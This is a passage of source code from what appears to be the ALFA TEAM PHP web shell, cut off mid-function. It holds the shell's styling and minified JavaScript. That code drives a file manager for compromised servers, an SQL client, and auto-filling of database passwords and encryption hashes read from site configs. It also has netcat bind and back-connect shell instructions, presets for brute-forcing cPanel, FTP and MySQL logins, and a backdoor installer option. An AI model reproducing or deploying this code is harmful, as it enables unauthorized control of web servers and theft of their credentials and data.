label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(\'.__showicon(\'alfamini\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(\'.__showicon(\'btn\').\');background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text],input[type=number],.alfa_custom_cmd_btn{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}\r\n.foottable{width: 300px;font-weight: bold;\'.(!@is_writable($GLOBALS[\'cwd\'])?\'}.dir{background-color:red;}\':\'}\').\'.main th{text-align:left;}.main a{color: #FFF;}.main tr:hover{background-color:#646464 !important;}.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }.bigarea{ width:99%; height:300px; }.alfa_custom_cmd_btn {padding: 5px;color: #24ff03;cursor: pointer;}.ajaxarea.filesman-active-content {display: block;}\'.alfaCssLoadColors().\'\r\n</style>\';\r\necho "<script type=\'text/javascript\'>\r\nvar c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\nvar a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\';\r\nvar charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\nvar islinux = ".($GLOBALS[\'sys\']!="win"?\'true\':\'false\').";\r\nvar post_encryption_mode = ".(__ALFA_POST_ENCRYPTION__?\'true\':\'false\').";";?>\r\nvar alfa1_="",alfa2_="",alfa3_="",alfa4_="",alfa5_="",alfa6_="",alfa7_="",alfa8_="",alfa9_="",alfa10_="",d=document,mysql_cache={},editor_files={},editor_error=!0,editor_current_file="",php_temrinal_using_cgi=!1,is_minimized=!1,cgi_is_minimized=!1,options_window_is_minimized=!1,database_window_is_minimized=!1,rightclick_menu_context=null,can_hashchange_work=!0,alfa_can_add_opt=!1,alfa_before_do_action_id="",alfa_ace_editors={editor:null,eval:null},col_dumper_selected_data={},_ALFA_AJAX_={},cgi_lang="",upcount=1,terminal_walk_index=[],alfa_current_fm_id=1,alfa_fm_id=0;function set(e,a,t,i,l,o,r,n,s,c,f,_,u){d.mf.a.value=null!=e?e:a_,d.mf.c.value=null!=a?a:c_,d.mf.alfa1.value=null!=t?t:"",d.mf.alfa2.value=null!=i?i:"",d.mf.alfa3.value=null!=l?l:"",d.mf.alfa4.value=null!=o?o:"",d.mf.alfa5.value=null!=r?r:"",d.mf.alfa6.value=null!=n?n:"",d.mf.alfa7.value=null!=s?s:"",d.mf.alfa8.value=null!=c?c:"",d.mf.alfa9.value=null!=f?f:"",d.mf.alfa10.value=null!=_?_:"",d.mf.charset.value=null!=u?u:charset_}function fc(e){var a=alfa_current_fm_id,t="a="+alfab64("FilesMan")+"&c="+alfab64(e.c.value)+"&alfa1="+alfab64(e.alfa1.value)+"&ajax="+alfab64("true")+"&",i="",l=0;if(d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked&&(l++,i+="f[]="+alfab64(decodeURIComponent(e.value))+"&")}),0==l&&"paste"!=e.alfa1.value)return!1;switch(alfaloader("filesman_holder_"+a,"block"),e.alfa1.value){case"delete":d.querySelectorAll("#filesman_holder_"+a+" .fmanager-row").forEach(function(e){var a=e.querySelector("input[type=checkbox]");a.checked&&".."!=a.value?e.remove():a.checked=!1}),d.querySelector("#filesman_holder_"+a+" .chkbx").checked=!1;break;case"copy":case"move":case"zip":case"unzip":d.querySelectorAll("#filesman_holder_"+a+" input[type=checkbox]:checked").forEach(function(e){e.checked=!1})}_Ajax(d.URL,t+i,function(e){alfaloader("filesman_holder_"+a,"none"),alfaFmngrContextRow()},!1,"filesman_holder_"+a)}function initDir(e){var a="",t="";islinux&&(a="<a class=\\"header_pwd\\" onclick=\\"g(\'FilesMan\',\'/\');\\" path=\'/\' href=\'#action=fileman&path=/\'>/</a>",t="/");var l=e.split("/"),o="",r=islinux?"/":"";for(i in"-1"!=l.indexOf("..")&&(l.splice(l.indexOf("..")-1,1),l.splice(l.indexOf(".."),1)),l)""!=l[i]&&(o+="<a onclick=\\"g(\'FilesMan\',\'"+r+l[i]+"/\');\\" path=\'"+r+l[i]+"/\' href=\'#action=fileman&path="+r+l[i]+\'/\\\' class="header_pwd">\'+l[i]+"/</a>",r+=l[i]+"/");$("header_cwd").innerHTML=a+o+" ",alfaInitCwdContext(),l=(l=t+l.join("/")).replace("//","/"),d.footer_form.c.value=l,$("footer_cwd").value=l,c_=l}function evalJS(html){var newElement=document.createElement("div");newElement.innerHTML=html;for(var scripts=newElement.getElementsByTagName("script"),i=0;i<scripts.length;++i){var script=scripts[i];eval(script.innerHTML)}}function _Ajax(e,a,t,i,l){var o=!1;return window.XMLHttpRequest?o=new XMLHttpRequest:window.ActiveXObject&&(o=new ActiveXObject("Microsoft.XMLHTTP")),void 0!==l&&(_ALFA_AJAX_[l]=o),o?(o.onreadystatechange=function(){4==o.readyState&&200==o.status?"function"==typeof t&&(t(o.responseText,l),alfaClearAjax(l)):4==o.readyState&&200!=o.status&&(alfaAjaxError(o.status,l,o.statusText,o.responseText),alfaClearAjax(l))},o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),void o.send(a)):void alert("Error !")}function alfaClearAjax(e){_ALFA_AJAX_.hasOwnProperty(e)&&delete _ALFA_AJAX_[e]}function handleup(e,a){var t="__fnameup";if(0!=a&&(t="__fnameup"+a),e.files.length>1){for(var i="",l=0;l<e.files.length;l++)i+=e.files[0].name+", ";$(t).innerHTML=i}else e.files[0].name&&($(t).innerHTML=e.files[0].name)}function u(e){var a=!1,t=0,i=alfa_current_fm_id,l=new FormData,o="filesman_holder_"+i;l.append("a",alfab64(e.a.value)),l.append("c",alfab64(e.c.value)),l.append("alfa1",alfab64(e.alfa1.value)),l.append("charset",alfab64(e.charset.value)),l.append("ajax",alfab64(e.ajax.value)),e.querySelectorAll("input[type=file]").forEach(function(e){if(0==e.value.length)return!1;if(e.files.length>1)for(var a=0;a<e.files.length;a++)l.append("f[]",e.files[a]);else l.append("f[]",e.files[0]);t++}),$("footerup").value="",$("__fnameup").innerHTML="";for(var r=1;r<=upcount;r++){var n=$("pfooterup_"+r);n&&n.parentNode.removeChild(n),upcount--}if(0==upcount&&upcount++,0==t)return!1;var s="up_bar_"+getRandom();$("up_bar_holder").insertAdjacentHTML("beforeend","<div id=\'"+s+"\' class=\'up_bar\'></div>");e.c.value;if(window.XMLHttpRequest?a=new XMLHttpRequest:window.ActiveXObject&&(a=new ActiveXObject("Microsoft.XMLHTTP")),a){var c=$(s);_ALFA_AJAX_[s]=a,a.upload&&(c.style.display="block",a.upload.onprogress=function(e){var a=e.position||e.loaded,t=e.totalSize||e.total,i=Math.floor(a/t*1e3)/10+"%";c.style.width=i}),a.onload=function(e){200===a.status?c.style.display="none":alfaAjaxError(a.status,"upload_area",a.statusText,a.responseText),alfaClearAjax(s)},a.onreadystatechange=function(){if(4==a.readyState&&200==a.status){if("noperm"!=a.responseText&&"[]"!=a.responseText){var e,t=JSON.parse(a.responseText),l="",r=d.querySelectorAll("#"+o+" #filemanager_table tr").length-3;for(e in t){++r;var n=t[e].name,s=encodeURIComponent(n),c=t[e].size,f=t[e].perm,_=t[e].modify,u=t[e].owner,p=loadType(n,"file");try{d.querySelector("#"+o+" .fmanager-row a[fname=\'"+n+"\']").parentElement.parentElement.parentElement.remove()}catch(e){}l+=\'<tr class="fmanager-row" id="tr_row_\'+r+\'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'+n+\'" class="chkbx" id="checkbox\'+r+\'"><label for="checkbox\'+r+\'"></label></div></td><td id="td_row_\'+r+\'">\'+p+\'<div style="position:relative;display:inline-block;bottom:12px;"><a row="\'+r+\'" id="id_\'+r+\'" class="main_name" onclick="editor(\\\'\'+s+"\',\'auto\',\'\',\'\',\'\',\'file\');\\" href=\\"#action=fileman&path="+c_+"&file="+s+\'" fname="\'+n+\'" ftype="file" path="\'+c_+\'" opt_title="">\'+n+\'</a></div></td><td><span style="font-weight:unset;" class="main_size">\'+c+\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'+_+\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'+u+\'</span></td><td><a id="id_chmode_\'+r+\'" href="javascript:void(0)" onclick="editor(\\\'\'+s+"\',\'chmod\',\'\',\'\',\'\',\'file\')\\">"+f+\'</a></td><td><a id="id_rename_\'+r+\'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'rename\',\'\',\'\',\'\',\'file\')\\">R</a> <a id=\\"id_touch_"+r+\'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'touch\',\'\',\'\',\'\',\'file\')\\">T</a> <a id=\\"id_edit_"+r+\'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\\\'\'+s+"\', \'edit\',\'\',\'\',\'\',\'file\')\\">E</a> <a id=\\"id_download_"+r+\'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'+n+"\', \'download\')\\">D</a><a id=\\"id_delete_"+r+\'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'+s+" # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \'"+s+"\') : \'\';\\"> X </a></td></tr>"}d.querySelector("#"+o+" #filemanager_last_tr").insertAdjacentHTML("beforebegin",l),alfaShowNotification("File(s) uploaded successfully","Uploader"),alfaFmngrContextRow()}else alfaShowNotification("Folder has no permission...","Uploader","error");alfaCheckCurrentFilesManTab(i)}},a.open("POST",d.URL),a.send(l)}}function alfaCheckCurrentFilesManTab(e){-1==$("filesman_tab_"+e).classList.value.indexOf("filesman-tab-active")&&$("filesman_tab_"+e).classList.add("tab-is-done")}function g(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset){var fm_id=0==alfa_fm_id?alfa_current_fm_id:alfa_fm_id,fm_id2=alfa_fm_id,fm_path=null==c||0==c.length?c_:c,d_mf_c=fm_path,g_action_id=alfa_before_do_action_id;0==alfa_fm_id&&(set(a,c,alfa1,alfa2,alfa3,alfa4,alfa5,alfa6,alfa7,alfa8,alfa9,alfa10,charset),d_mf_c=d.mf.c.value),"GetConfig"!=a&&"download"!=alfa2&&islinux&&"/"!=d_mf_c.substr(0,1)&&(d_mf_c="/"+d_mf_c),"FilesMan"==a?(alfaloader("filesman_holder_"+fm_id,"block"),g_action_id="filesman_holder_"+fm_id):""!=g_action_id?alfaloader(g_action_id,"block"):"FilesTools"!=a&&"download"!=alfa2&&"GetConfig"!=a&&("sql"==a?(showEditor("database_window"),g_action_id=loadPopUpDatabase("")):"FilesMan"!=a&&(showEditor("options_window"),g_action_id=loadPopUpOpTions(a)),alfaloader(g_action_id,"block"));for(var data="a="+alfab64(a)+"&c="+alfab64(d_mf_c)+"&",i=1;i<=10;i++)data+="alfa"+i+"="+alfab64(eval("d.mf.alfa"+i+".value"))+"&";if("FilesMan"==a){var pagenum=d.querySelector("#"+g_action_id+" .page-number.active-page-number");null!=pagenum&&(data+="pagenum="+alfab64(getCookie(g_action_id+"_page_number")),setCookie(g_action_id+"_page_number",1,2012))}if(data+="&ajax="+alfab64("true"),"FilesTools"==a&&"download"==alfa2){alfaLoaderOnTop("none");var dl=$("dlForm");return dl.a.value=alfab64("dlfile"),dl.c.value=alfab64(d_mf_c),dl.file.value=alfab64(alfa1),void dl.submit()}"GetConfig"!=a?(_Ajax(d.URL,data,function(e,t){evalJS(e);var i=!1;if(alfaLoaderOnTop("none"),"sql"==a)return loadPopUpDatabase(e,t),!1;if("FilesMan"==a){alfaloader("filesman_holder_"+fm_id,"none"),d.querySelector("#filesman_holder_"+fm_id).innerHTML=e,fm_path=fm_path.replace(/\\/\\//g,"/"),$("filesman_tab_"+fm_id).setAttribute("path",fm_path);var l=alfaGetLastFolderName(fm_path);d.querySelector("#filesman_tab_"+fm_id+" span").innerHTML=l,alfaFmngrContextRow(),"function"==typeof alfa1&&alfa1(e),alfaCheckCurrentFilesManTab(fm_id)}else(options_window_is_minimized||"."==t.substr(0,1))&&"."==t.substr(0,1)&&(i=!0,t=t.substr(1),showEditor("options_window")),i||alfaloader(t,"none"),loadPopUpOpTions(t,e),"phpeval"==a&&alfaLoadAceEditor("PhpCode"),"coldumper"==a.substr(0,9)&&alfaColDumperInit()},!1,""==g_action_id?"."+a:g_action_id),g_action_id="",0==fm_id2&&c!=c_&&c&&initDir(c)):(alfaloader(alfa3,"block"),_Ajax(d.URL,data,function(e,a){var t=a;a=d.querySelector("#"+("id_db"!=a.substr(0,5)?"option_"+a:a));try{(e=JSON.parse(e)).host&&e.user&&e.dbname&&($("db_host")&&(a.querySelector("#db_host").value=e.host),$("db_user")&&(a.querySelector("#db_user").value=e.user),$("db_name")&&(a.querySelector("#db_name").value=e.dbname),$("db_pw")&&(a.querySelector("#db_pw").value=e.password),$("db_prefix")&&e.prefix&&(a.querySelector("#db_prefix").value=e.prefix),$("cc_encryption_hash")&&e.cc_encryption_hash&&(a.querySelector("#cc_encryption_hash").value=e.cc_encryption_hash))}catch(e){}alfaloader(t,"none")},!1,alfa3))}function alfaGetLastFolderName(e){var a=e.replace(/\\/\\//g,"/").split("/");for(var t in a)0==a[t].length&&a.splice(t,1);var i=a[a.length-1];return 0==i.length&&(i="/"),i}function alfaloader(e,a){if(0==e.length)return!1;try{var t=$("loader_"+e);if(null==t&&"block"==a){var i=null;"editor"==e?i=d.querySelector("#editor .editor-modal"):"id_db"==e.substr(0,5)?i=$(e):"terminal_id"==e.substr(0,11)?i=$(e):"editor"==e.substr(0,6)?i=$(e):"cgiframe"==e?i=$("cgiframe"):"filesman_holder"==e.substr(0,15)?(i=$(e)).style.minHeight="300px":i=$("option_"+e),i.insertAdjacentHTML("afterbegin","<div id=\'loader_"+e+\'\\\' class="options-loader-holder"><div parent="\'+e+\'" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error"></div><img src=\\\'http://solevisible.com/images/loader.svg\\\'></div>\')}else"filesman_holder"==e.substr(0,15)&&($(e).style.minHeight="0"),null!=t&&(t.style.display=a)}catch(e){}}function fs(e){var a=e.getAttribute("db_id"),t=d.querySelector("#"+a+" div.sf");mysql_cache.hasOwnProperty(a)||(mysql_cache[a]={}),alfaloader(a,"block");var i=t.querySelector("input[name=sql_host]").value,l=t.querySelector("input[name=sql_login]").value,o=t.querySelector("input[name=sql_pass]").value,r=t.querySelector("input[name=sql_base]")?t.querySelector("input[name=sql_base]").value:t.querySelector("select[name=sql_base]").value,n=t.querySelector("select[name=type]").value,s=t.querySelector("input[name=sql_count]").checked?"true":"";_Ajax(d.URL,"a="+alfab64("Sql")+"&alfa1="+alfab64("query")+"&alfa2=&c="+alfab64(c_)+"&charset="+alfab64("UTF-8")+"&type="+alfab64(n)+"&sql_host="+alfab64(i)+"&sql_login="+alfab64(l)+"&sql_pass="+alfab64(o)+"&sql_base="+alfab64(r)+"&sql_count="+alfab64(s)+"¤t_mysql_id="+alfab64(a)+"&ajax="+alfab64("true"),function(e,a){loadPopUpDatabase(e,a),evalJS(e),alfaloader(a,"none")},!1,a)}function ctlbc(e){var a=$("bcStatus"),t=$("bcipAction");"bind"==e.value?(t.style.display="none",a.innerHTML="<small>Press ` <font color=\'red\'>>></font> ` button and run ` <font color=\'red\'>nc server_ip port</font> ` on your computer</small>"):(t.style.display="inline-block",a.innerHTML="<small>Run ` <font color=\'red\'>nc -l -v -p port</font> ` on your computer and press ` <font color=\'red\'>>></font> ` button</small>")}function $(e){return d.getElementById(e)}function addnewup(){var e="footerup_"+upcount,a="pfooterup_"+upcount,t=1!=upcount?"pfooterup_"+(upcount-1):"pfooterup",i=d.createElement("p");i.innerHTML=\'<label class="inputfile" for="\'+e+\'"><span id="__fnameup\'+upcount+\'"></span> <strong> Choose a file</strong></label><input id="\'+e+\'" type="file" name="f[]" onChange="handleup(this,\'+upcount+\');" multiple>\',i.id=a,i.appendAfter($(t)),upcount++}function alfa_searcher_tool(e){switch(e){case"all":case"dirs":_alfaSet(!0,"Disabled");break;case"files":_alfaSet(!1,"php")}}function _alfaSet(e,a){d.srch.ext.disabled=e,d.srch.ext.value=a}function dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\\./g,"\\\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\\//g,"")==f.replace(/\\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick=\'editorTabController(this);\' opt_id=\'"+b+"\' id=\'tab_"+b+"\' class=\'editor-tab-name editor-tab-active\'>"+decodeURIComponent(e)+" <img opt_id=\'"+b+"\' onclick=\'closeEditorContent(this,event);return false;\' title=\'[close]\' src=\'http://solevisible.com/icons/menu/delete.svg\'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class=\'editor-contents editor-content-active\' id=\'"+b+"\'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\\/\\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 